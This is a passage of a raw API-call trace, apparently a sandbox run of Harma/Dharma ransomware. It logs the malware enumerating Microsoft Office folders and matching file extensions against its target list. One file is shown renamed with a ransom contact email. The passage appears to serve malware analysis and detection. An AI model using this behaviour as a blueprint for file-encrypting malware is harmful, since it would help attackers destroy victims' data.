lpString2=".ini") returned -1 [0132.338] lstrlenW (lpString=".fido") returned 5 [0132.338] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0132.338] lstrlenW (lpString=".flm") returned 4 [0132.338] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0132.338] lstrlenW (lpString=".flv") returned 4 [0132.338] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0132.339] lstrlenW (lpString=".frm") returned 4 [0132.339] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0132.339] lstrlenW (lpString=".fxg") returned 4 [0132.339] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0132.339] lstrlenW (lpString=".geo") returned 4 [0132.339] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0132.339] lstrlenW (lpString=".gif") returned 4 [0132.339] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0132.339] lstrlenW (lpString=".grs") returned 4 [0132.339] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0132.339] lstrlenW (lpString=".gz") returned 3 [0132.339] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0132.339] lstrlenW (lpString=".h") returned 2 [0132.339] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0132.339] lstrlenW (lpString=".hdr") returned 4 [0132.339] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0132.339] lstrlenW (lpString=".hpp") returned 4 [0132.339] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0132.339] lstrlenW (lpString=".hta") returned 4 [0132.339] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0132.339] lstrlenW (lpString=".htc") returned 4 [0132.339] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0132.339] lstrlenW (lpString=".htm") returned 4 [0132.339] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0132.339] lstrlenW (lpString=".html") returned 5 [0132.339] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0132.339] lstrlenW (lpString=".icb") returned 4 [0132.339] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0132.339] lstrlenW (lpString=".ics") returned 4 [0132.339] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0132.339] lstrlenW (lpString=".iff") returned 4 [0132.339] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0132.339] lstrlenW (lpString=".inc") returned 4 [0132.340] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0132.340] lstrlenW (lpString=".indd") returned 5 [0132.340] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0132.340] lstrlenW (lpString=".ini") returned 4 [0132.340] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0132.340] FindNextFileW (in: hFindFile=0x3c1b48, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcd0f6270, ftCreationTime.dwHighDateTime=0x1d58aa8, ftLastAccessTime.dwLowDateTime=0xcd0f6270, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xcd11c3d0, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[gillian.cher@aol.com].harma", cAlternateFileName="DESKTO~1.HAR")) returned 1 [0132.340] lstrlenW (lpString="desktop.ini.id-9C354B42.[gillian.cher@aol.com].harma") returned 52 [0132.340] lstrlenW (lpString=".1cd") returned 4 [0132.340] lstrcmpiW (lpString1=".1cd", lpString2="arma") returned -1 [0132.340] lstrlenW (lpString=".3ds") returned 4 [0132.340] lstrcmpiW (lpString1=".3ds", lpString2="arma") returned -1 [0132.340] lstrlenW (lpString=".3fr") returned 4 [0132.340] lstrcmpiW (lpString1=".3fr", lpString2="arma") returned -1 [0132.340] lstrlenW (lpString=".3g2") returned 4 [0132.340] lstrcmpiW (lpString1=".3g2", lpString2="arma") returned -1 [0132.340] lstrlenW (lpString=".3gp") returned 4 [0132.340] lstrcmpiW (lpString1=".3gp", lpString2="arma") returned -1 [0132.340] lstrlenW (lpString=".7z") returned 3 [0132.340] lstrcmpiW (lpString1=".7z", lpString2="rma") returned -1 [0132.340] lstrlenW (lpString=".accda") returned 6 [0132.340] lstrcmpiW (lpString1=".accda", lpString2=".harma") returned -1 [0132.340] lstrlenW (lpString=".accdb") returned 6 [0132.340] lstrcmpiW (lpString1=".accdb", lpString2=".harma") returned -1 [0132.340] lstrlenW (lpString=".accdc") returned 6 [0132.340] lstrcmpiW (lpString1=".accdc", lpString2=".harma") returned -1 [0132.340] lstrlenW (lpString=".accde") returned 6 [0132.340] lstrcmpiW (lpString1=".accde", lpString2=".harma") returned -1 [0132.340] lstrlenW (lpString=".accdt") returned 6 [0132.340] lstrcmpiW (lpString1=".accdt", lpString2=".harma") returned -1 [0132.340] lstrlenW (lpString=".accdw") returned 6 [0132.341] lstrcmpiW (lpString1=".accdw", lpString2=".harma") returned -1 [0132.341] lstrlenW (lpString=".adb") returned 4 [0132.341] lstrcmpiW (lpString1=".adb", lpString2="arma") returned -1 [0132.341] lstrlenW (lpString=".adp") returned 4 [0132.341] lstrcmpiW (lpString1=".adp", lpString2="arma") returned -1 [0132.341] lstrlenW (lpString=".ai") returned 3 [0132.341] lstrcmpiW (lpString1=".ai", lpString2="rma") returned -1 [0132.341] lstrlenW (lpString=".ai3") returned 4 [0132.341] lstrcmpiW (lpString1=".ai3", lpString2="arma") returned -1 [0132.341] lstrlenW (lpString=".ai4") returned 4 [0132.341] lstrcmpiW (lpString1=".ai4", lpString2="arma") returned -1 [0132.341] lstrlenW (lpString=".ai5") returned 4 [0132.341] lstrcmpiW (lpString1=".ai5", lpString2="arma") returned -1 [0132.341] lstrlenW (lpString=".ai6") returned 4 [0132.341] lstrcmpiW (lpString1=".ai6", lpString2="arma") returned -1 [0132.341] lstrlenW (lpString=".ai7") returned 4 [0132.341] lstrcmpiW (lpString1=".ai7", lpString2="arma") returned -1 [0132.341] lstrlenW (lpString=".ai8") returned 4 [0132.341] lstrcmpiW (lpString1=".ai8", lpString2="arma") returned -1 [0132.341] lstrlenW (lpString=".anim") returned 5 [0132.341] lstrcmpiW (lpString1=".anim", lpString2="harma") returned -1 [0132.341] lstrlenW (lpString=".arw") returned 4 [0132.341] lstrcmpiW (lpString1=".arw", lpString2="arma") returned -1 [0132.341] lstrlenW (lpString=".as") returned 3 [0132.341] lstrcmpiW (lpString1=".as", lpString2="rma") returned -1 [0132.341] lstrlenW (lpString=".asa") returned 4 [0132.341] lstrcmpiW (lpString1=".asa", lpString2="arma") returned -1 [0132.341] lstrlenW (lpString=".asc") returned 4 [0132.341] lstrcmpiW (lpString1=".asc", lpString2="arma") returned -1 [0132.341] lstrlenW (lpString=".ascx") returned 5 [0132.341] lstrcmpiW (lpString1=".ascx", lpString2="harma") returned -1 [0132.341] lstrlenW (lpString=".asm") returned 4 [0132.341] lstrcmpiW (lpString1=".asm", lpString2="arma") returned -1 [0132.341] lstrlenW (lpString=".asmx") returned 5 [0132.342] lstrcmpiW (lpString1=".asmx", lpString2="harma") returned -1 [0132.342] lstrlenW (lpString=".asp") returned 4 [0132.342] lstrcmpiW (lpString1=".asp", lpString2="arma") returned -1 [0132.342] lstrlenW (lpString=".aspx") returned 5 [0132.342] lstrcmpiW (lpString1=".aspx", lpString2="harma") returned -1 [0132.342] lstrlenW (lpString=".asr") returned 4 [0132.342] lstrcmpiW (lpString1=".asr", lpString2="arma") returned -1 [0132.342] lstrlenW (lpString=".asx") returned 4 [0132.342] lstrcmpiW (lpString1=".asx", lpString2="arma") returned -1 [0132.342] lstrlenW (lpString=".avi") returned 4 [0132.342] lstrcmpiW (lpString1=".avi", lpString2="arma") returned -1 [0132.342] lstrlenW (lpString=".avs") returned 4 [0132.342] lstrcmpiW (lpString1=".avs", lpString2="arma") returned -1 [0132.342] lstrlenW (lpString=".backup") returned 7 [0132.342] lstrcmpiW (lpString1=".backup", lpString2="].harma") returned -1 [0132.342] lstrlenW (lpString=".bak") returned 4 [0132.342] lstrcmpiW (lpString1=".bak", lpString2="arma") returned -1 [0132.342] lstrlenW (lpString=".bay") returned 4 [0132.342] lstrcmpiW (lpString1=".bay", lpString2="arma") returned -1 [0132.342] lstrlenW (lpString=".bd") returned 3 [0132.342] lstrcmpiW (lpString1=".bd", lpString2="rma") returned -1 [0132.342] lstrlenW (lpString=".bin") returned 4 [0132.342] lstrcmpiW (lpString1=".bin", lpString2="arma") returned -1 [0132.342] lstrlenW (lpString=".bmp") returned 4 [0132.342] lstrcmpiW (lpString1=".bmp", lpString2="arma") returned -1 [0132.342] lstrlenW (lpString=".bz2") returned 4 [0132.342] lstrcmpiW (lpString1=".bz2", lpString2="arma") returned -1 [0132.342] lstrlenW (lpString=".c") returned 2 [0132.342] lstrcmpiW (lpString1=".c", lpString2="ma") returned -1 [0132.342] lstrlenW (lpString=".cdr") returned 4 [0132.342] lstrcmpiW (lpString1=".cdr", lpString2="arma") returned -1 [0132.342] lstrlenW (lpString=".cer") returned 4 [0132.343] lstrcmpiW (lpString1=".cer", lpString2="arma") returned -1 [0132.343] lstrlenW (lpString=".cf") returned 3 [0132.343] lstrcmpiW (lpString1=".cf", lpString2="rma") returned -1 [0132.343] lstrlenW (lpString=".cfc") returned 4 [0132.343] lstrcmpiW (lpString1=".cfc", lpString2="arma") returned -1 [0132.343] lstrlenW (lpString=".cfm") returned 4 [0132.343] lstrcmpiW (lpString1=".cfm", lpString2="arma") returned -1 [0132.343] lstrlenW (lpString=".cfml") returned 5 [0132.343] lstrcmpiW (lpString1=".cfml", lpString2="harma") returned -1 [0132.343] lstrlenW (lpString=".cfu") returned 4 [0132.343] lstrcmpiW (lpString1=".cfu", lpString2="arma") returned -1 [0132.343] lstrlenW (lpString=".chm") returned 4 [0132.343] lstrcmpiW (lpString1=".chm", lpString2="arma") returned -1 [0132.343] lstrlenW (lpString=".cin") returned 4 [0132.343] lstrcmpiW (lpString1=".cin", lpString2="arma") returned -1 [0132.343] lstrlenW (lpString=".class") returned 6 [0132.343] lstrcmpiW (lpString1=".class", lpString2=".harma") returned -1 [0132.343] lstrlenW (lpString=".clx") returned 4 [0132.343] lstrcmpiW (lpString1=".clx", lpString2="arma") returned -1 [0132.343] lstrlenW (lpString=".config") returned 7 [0132.343] lstrcmpiW (lpString1=".config", lpString2="].harma") returned -1 [0132.343] lstrlenW (lpString=".cpp") returned 4 [0132.343] lstrcmpiW (lpString1=".cpp", lpString2="arma") returned -1 [0132.343] lstrlenW (lpString=".cr2") returned 4 [0132.343] lstrcmpiW (lpString1=".cr2", lpString2="arma") returned -1 [0132.343] lstrlenW (lpString=".crt") returned 4 [0132.343] lstrcmpiW (lpString1=".crt", lpString2="arma") returned -1 [0132.343] lstrlenW (lpString=".crw") returned 4 [0132.343] lstrcmpiW (lpString1=".crw", lpString2="arma") returned -1 [0132.343] lstrlenW (lpString=".cs") returned 3 [0132.343] lstrcmpiW (lpString1=".cs", lpString2="rma") returned -1 [0132.343] lstrlenW (lpString=".css") returned 4 [0132.344] lstrcmpiW (lpString1=".css", lpString2="arma") returned -1 [0132.344] lstrlenW (lpString=".csv") returned 4 [0132.344] lstrcmpiW (lpString1=".csv", lpString2="arma") returned -1 [0132.344] lstrlenW (lpString=".cub") returned 4 [0132.344] lstrcmpiW (lpString1=".cub", lpString2="arma") returned -1 [0132.344] lstrlenW (lpString=".dae") returned 4 [0132.344] lstrcmpiW (lpString1=".dae", lpString2="arma") returned -1 [0132.344] lstrlenW (lpString=".dat") returned 4 [0132.344] lstrcmpiW (lpString1=".dat", lpString2="arma") returned -1 [0132.344] lstrlenW (lpString=".db") returned 3 [0132.344] lstrcmpiW (lpString1=".db", lpString2="rma") returned -1 [0132.344] lstrlenW (lpString=".dbf") returned 4 [0132.344] lstrcmpiW (lpString1=".dbf", lpString2="arma") returned -1 [0132.344] lstrlenW (lpString=".dbx") returned 4 [0132.344] lstrcmpiW (lpString1=".dbx", lpString2="arma") returned -1 [0132.344] lstrlenW (lpString=".dc3") returned 4 [0132.344] lstrcmpiW (lpString1=".dc3", lpString2="arma") returned -1 [0132.344] lstrlenW (lpString=".dcm") returned 4 [0132.344] lstrcmpiW (lpString1=".dcm", lpString2="arma") returned -1 [0132.344] lstrlenW (lpString=".dcr") returned 4 [0132.344] lstrcmpiW (lpString1=".dcr", lpString2="arma") returned -1 [0132.344] lstrlenW (lpString=".der") returned 4 [0132.344] lstrcmpiW (lpString1=".der", lpString2="arma") returned -1 [0132.344] lstrlenW (lpString=".dib") returned 4 [0132.344] lstrcmpiW (lpString1=".dib", lpString2="arma") returned -1 [0132.344] lstrlenW (lpString=".dic") returned 4 [0132.344] lstrcmpiW (lpString1=".dic", lpString2="arma") returned -1 [0132.345] lstrlenW (lpString=".dif") returned 4 [0132.345] lstrcmpiW (lpString1=".dif", lpString2="arma") returned -1 [0132.345] lstrlenW (lpString=".divx") returned 5 [0132.345] lstrcmpiW (lpString1=".divx", lpString2="harma") returned -1 [0132.345] lstrlenW (lpString=".djvu") returned 5 [0132.345] lstrcmpiW (lpString1=".djvu", lpString2="harma") returned -1 [0132.345] lstrlenW (lpString=".dng") returned 4 [0132.345] lstrcmpiW (lpString1=".dng", lpString2="arma") returned -1 [0132.345] lstrlenW (lpString=".doc") returned 4 [0132.345] lstrcmpiW (lpString1=".doc", lpString2="arma") returned -1 [0132.345] lstrlenW (lpString=".docm") returned 5 [0132.345] lstrcmpiW (lpString1=".docm", lpString2="harma") returned -1 [0132.345] lstrlenW (lpString=".docx") returned 5 [0132.345] lstrcmpiW (lpString1=".docx", lpString2="harma") returned -1 [0132.345] lstrlenW (lpString=".dot") returned 4 [0132.345] lstrcmpiW (lpString1=".dot", lpString2="arma") returned -1 [0132.345] lstrlenW (lpString=".dotm") returned 5 [0132.345] lstrcmpiW (lpString1=".dotm", lpString2="harma") returned -1 [0132.345] lstrlenW (lpString=".dotx") returned 5 [0132.345] lstrcmpiW (lpString1=".dotx", lpString2="harma") returned -1 [0132.345] lstrlenW (lpString=".dpx") returned 4 [0132.345] lstrcmpiW (lpString1=".dpx", lpString2="arma") returned -1 [0132.345] lstrlenW (lpString=".dqy") returned 4 [0132.345] lstrcmpiW (lpString1=".dqy", lpString2="arma") returned -1 [0132.345] lstrlenW (lpString=".dsn") returned 4 [0132.345] lstrcmpiW (lpString1=".dsn", lpString2="arma") returned -1 [0132.345] lstrlenW (lpString=".dt") returned 3 [0132.345] lstrcmpiW (lpString1=".dt", lpString2="rma") returned -1 [0132.345] lstrlenW (lpString=".dtd") returned 4 [0132.345] lstrcmpiW (lpString1=".dtd", lpString2="arma") returned -1 [0132.346] lstrlenW (lpString=".dwg") returned 4 [0132.346] lstrcmpiW (lpString1=".dwg", lpString2="arma") returned -1 [0132.346] lstrlenW (lpString=".dwt") returned 4 [0132.346] lstrcmpiW (lpString1=".dwt", lpString2="arma") returned -1 [0132.346] lstrlenW (lpString=".dx") returned 3 [0132.346] lstrcmpiW (lpString1=".dx", lpString2="rma") returned -1 [0132.346] lstrlenW (lpString=".dxf") returned 4 [0132.346] lstrcmpiW (lpString1=".dxf", lpString2="arma") returned -1 [0132.346] lstrlenW (lpString=".edml") returned 5 [0132.346] lstrcmpiW (lpString1=".edml", lpString2="harma") returned -1 [0132.346] lstrlenW (lpString=".efd") returned 4 [0132.346] lstrcmpiW (lpString1=".efd", lpString2="arma") returned -1 [0132.346] lstrlenW (lpString=".elf") returned 4 [0132.346] lstrcmpiW (lpString1=".elf", lpString2="arma") returned -1 [0132.346] lstrlenW (lpString=".emf") returned 4 [0132.346] lstrcmpiW (lpString1=".emf", lpString2="arma") returned -1 [0132.346] lstrlenW (lpString=".emz") returned 4 [0132.346] lstrcmpiW (lpString1=".emz", lpString2="arma") returned -1 [0132.346] lstrlenW (lpString=".epf") returned 4 [0132.346] lstrcmpiW (lpString1=".epf", lpString2="arma") returned -1 [0132.346] lstrlenW (lpString=".eps") returned 4 [0132.346] lstrcmpiW (lpString1=".eps", lpString2="arma") returned -1 [0132.346] lstrlenW (lpString=".epsf") returned 5 [0132.346] lstrcmpiW (lpString1=".epsf", lpString2="harma") returned -1 [0132.346] lstrlenW (lpString=".epsp") returned 5 [0132.346] lstrcmpiW (lpString1=".epsp", lpString2="harma") returned -1 [0132.346] lstrlenW (lpString=".erf") returned 4 [0132.347] lstrcmpiW (lpString1=".erf", lpString2="arma") returned -1 [0132.347] lstrlenW (lpString=".exr") returned 4 [0132.347] lstrcmpiW (lpString1=".exr", lpString2="arma") returned -1 [0132.347] lstrlenW (lpString=".f4v") returned 4 [0132.347] lstrcmpiW (lpString1=".f4v", lpString2="arma") returned -1 [0132.347] lstrlenW (lpString=".fido") returned 5 [0132.347] lstrcmpiW (lpString1=".fido", lpString2="harma") returned -1 [0132.347] lstrlenW (lpString=".flm") returned 4 [0132.347] lstrcmpiW (lpString1=".flm", lpString2="arma") returned -1 [0132.347] lstrlenW (lpString=".flv") returned 4 [0132.347] lstrcmpiW (lpString1=".flv", lpString2="arma") returned -1 [0132.347] lstrlenW (lpString=".frm") returned 4 [0132.347] lstrcmpiW (lpString1=".frm", lpString2="arma") returned -1 [0132.347] lstrlenW (lpString=".fxg") returned 4 [0132.347] lstrcmpiW (lpString1=".fxg", lpString2="arma") returned -1 [0132.347] lstrlenW (lpString=".geo") returned 4 [0132.347] lstrcmpiW (lpString1=".geo", lpString2="arma") returned -1 [0132.347] lstrlenW (lpString=".gif") returned 4 [0132.347] lstrcmpiW (lpString1=".gif", lpString2="arma") returned -1 [0132.347] lstrlenW (lpString=".grs") returned 4 [0132.347] lstrcmpiW (lpString1=".grs", lpString2="arma") returned -1 [0132.708] FindNextFileW (in: hFindFile=0x4191300, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.708] FindNextFileW (in: hFindFile=0x4191300, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0132.708] FindClose (in: hFindFile=0x4191300 | out: hFindFile=0x4191300) returned 1 [0132.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41a42a8 | out: hHeap=0x300000) returned 1 [0132.708] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0137.130] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191580 [0137.148] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.148] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0138.847] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.847] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b715800, ftCreationTime.dwHighDateTime=0x1c8bfc3, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b715800, ftLastWriteTime.dwHighDateTime=0x1c8bfc3, nFileSizeHigh=0x0, nFileSizeLow=0x165e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 1 [0140.804] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0140.805] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.805] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b62000, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4b62000, ftLastWriteTime.dwHighDateTime=0x1ca0408, nFileSizeHigh=0x0, nFileSizeLow=0x3424, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg", cAlternateFileName="CALEND~1.JPG")) returned 1 [0140.805] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0140.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x428df78 | out: hHeap=0x300000) returned 1 [0140.806] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommonData", cAlternateFileName="COMMON~1")) returned 1 [0140.807] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0140.807] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.807] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633fe700, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633fe700, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x44c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Auto.jpg", cAlternateFileName="ALERTI~3.JPG")) returned 1 [0140.808] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0140.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x428df78 | out: hHeap=0x300000) returned 1 [0140.809] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1 [0140.809] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0140.809] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, 